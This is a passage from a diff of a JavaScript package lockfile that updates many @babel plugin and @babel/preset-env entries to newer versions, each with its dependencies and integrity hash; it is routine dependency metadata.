"^7.25.9", "@babel/plugin-transform-parameters": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg=="], + "@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="], - "@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-replace-supers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A=="], + "@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="], - "@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g=="], + "@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="], - "@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A=="], + "@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="], - "@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g=="], + "@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="], - "@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.25.9", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw=="], + "@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="], - "@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw=="], + "@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="], - "@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA=="], + "@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="], - "@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GnvhtVfA2OAtzdX58FJxU19rhoGeQzyVndw3GgtdECQvQFXPEZIOVULHVZGAYmOgmqjXpVpfocAbSjh99V/Fqw=="], + "@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="], - "@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.23.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-jsx": "^7.23.3", "@babel/types": "^7.23.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5xOpoPguCZCRbo/JeHlloSkTA8Bld1J/E1/kLfD1nsuiW1m8tduTA1ERCgIZokDflX/IBzKcqR3l7VlRgiIfHA=="], + "@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="], - "@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.22.5", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A=="], + "@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="], - "@babel/plugin-transform-react-jsx-self": ["@babel/plugin-transform-react-jsx-self@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg=="], + "@babel/plugin-transform-react-jsx-self": ["@babel/plugin-transform-react-jsx-self@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw=="], - "@babel/plugin-transform-react-jsx-source": ["@babel/plugin-transform-react-jsx-source@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg=="], + "@babel/plugin-transform-react-jsx-source": ["@babel/plugin-transform-react-jsx-source@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw=="], - "@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.23.3", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qMFdSS+TUhB7Q/3HVPnEdYJDQIk57jkntAwSuz9xfSE4n+3I+vHYCli3HoHawN1Z3RfCz/y1zXA/JXjG6cVImQ=="], + "@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="], - "@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "regenerator-transform": "^0.15.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg=="], + "@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="], - "@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.26.0", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw=="], + "@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="], - "@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg=="], + "@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="], "@babel/plugin-transform-runtime": ["@babel/plugin-transform-runtime@7.23.9", "", { "dependencies": { "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-A7clW3a0aSjm3ONU9o2HAILSegJCYlEZmOhmBRReVtIpY/Z/p7yIZ+wR41Z+UipwdGuqwtID/V/dOdZXjwi9gQ=="], - "@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng=="], + "@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="], - "@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A=="], + "@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="], - "@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA=="], + "@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="], - "@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.26.8", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OmGDL5/J0CJPJZTHZbi2XpO0tyT2Ia7fzpW5GURwdtp2X3fMmN8au/ej6peC/T33/+CRiIpA8Krse8hFGVmT5Q=="], + "@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="], - "@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.26.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jfoTXXZTgGg36BmhqT3cAYK5qkmqvJpvNrPhaK/52Vgjhw4Rq29s9UqpWWV0D6yuRmgiFH/BUVlkl96zJWqnaw=="], + "@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="], - "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.23.6", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-create-class-features-plugin": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-typescript": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6cBG5mBvUu4VUD04OHKnYzbuHNP8huDsD3EDqqpIpsswTDoqHCjLoHb6+QgsV1WsT2nipRqCPgxD3LXnEO7XfA=="], + "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="], - "@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q=="], + "@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="], - "@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg=="], + "@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="], - "@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA=="], + "@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="], - "@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ=="], + "@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="], - "@babel/preset-env": ["@babel/preset-env@7.26.9", "", { "dependencies": { "@babel/compat-data": "^7.26.8", "@babel/helper-compilation-targets": "^7.26.5", "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-validator-option": "^7.25.9", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.25.9", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.25.9", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.25.9", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.25.9", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.25.9", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.26.0", "@babel/plugin-syntax-import-attributes": "^7.26.0", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.25.9", "@babel/plugin-transform-async-generator-functions": "^7.26.8", "@babel/plugin-transform-async-to-generator": "^7.25.9", "@babel/plugin-transform-block-scoped-functions": "^7.26.5", "@babel/plugin-transform-block-scoping": "^7.25.9", "@babel/plugin-transform-class-properties": "^7.25.9", "@babel/plugin-transform-class-static-block": "^7.26.0", "@babel/plugin-transform-classes": "^7.25.9", "@babel/plugin-transform-computed-properties": "^7.25.9", "@babel/plugin-transform-destructuring": "^7.25.9", "@babel/plugin-transform-dotall-regex": "^7.25.9", "@babel/plugin-transform-duplicate-keys": "^7.25.9", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.25.9", "@babel/plugin-transform-dynamic-import": "^7.25.9", "@babel/plugin-transform-exponentiation-operator": "^7.26.3", "@babel/plugin-transform-export-namespace-from": "^7.25.9", "@babel/plugin-transform-for-of": "^7.26.9", "@babel/plugin-transform-function-name": "^7.25.9", "@babel/plugin-transform-json-strings": "^7.25.9", "@babel/plugin-transform-literals": "^7.25.9", "@babel/plugin-transform-logical-assignment-operators": "^7.25.9", "@babel/plugin-transform-member-expression-literals": "^7.25.9", "@babel/plugin-transform-modules-amd": "^7.25.9", "@babel/plugin-transform-modules-commonjs": "^7.26.3", "@babel/plugin-transform-modules-systemjs": "^7.25.9", "@babel/plugin-transform-modules-umd": "^7.25.9", "@babel/plugin-transform-named-capturing-groups-regex": "^7.25.9", "@babel/plugin-transform-new-target": "^7.25.9", "@babel/plugin-transform-nullish-coalescing-operator": "^7.26.6", "@babel/plugin-transform-numeric-separator": "^7.25.9", "@babel/plugin-transform-object-rest-spread": "^7.25.9", "@babel/plugin-transform-object-super": "^7.25.9", "@babel/plugin-transform-optional-catch-binding": "^7.25.9", "@babel/plugin-transform-optional-chaining": "^7.25.9", "@babel/plugin-transform-parameters": "^7.25.9", "@babel/plugin-transform-private-methods": "^7.25.9", "@babel/plugin-transform-private-property-in-object": "^7.25.9", "@babel/plugin-transform-property-literals": "^7.25.9", "@babel/plugin-transform-regenerator": "^7.25.9", "@babel/plugin-transform-regexp-modifiers": "^7.26.0", "@babel/plugin-transform-reserved-words": "^7.25.9", "@babel/plugin-transform-shorthand-properties": "^7.25.9", "@babel/plugin-transform-spread": "^7.25.9", "@babel/plugin-transform-sticky-regex": "^7.25.9", "@babel/plugin-transform-template-literals": "^7.26.8", "@babel/plugin-transform-typeof-symbol": "^7.26.7", "@babel/plugin-transform-unicode-escapes": "^7.25.9", "@babel/plugin-transform-unicode-property-regex": "^7.25.9", "@babel/plugin-transform-unicode-regex": "^7.25.9", "@babel/plugin-transform-unicode-sets-regex": "^7.25.9", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.10", "babel-plugin-polyfill-corejs3": "^0.11.0", "babel-plugin-polyfill-regenerator": "^0.6.1", "core-js-compat": "^3.40.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vX3qPGE8sEKEAZCWk05k3cpTAE3/nOYca++JA+Rd0z2NCNzabmYvEiSShKzm10zdquOIAVXsy2Ei/DTW34KlKQ=="], + "@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", 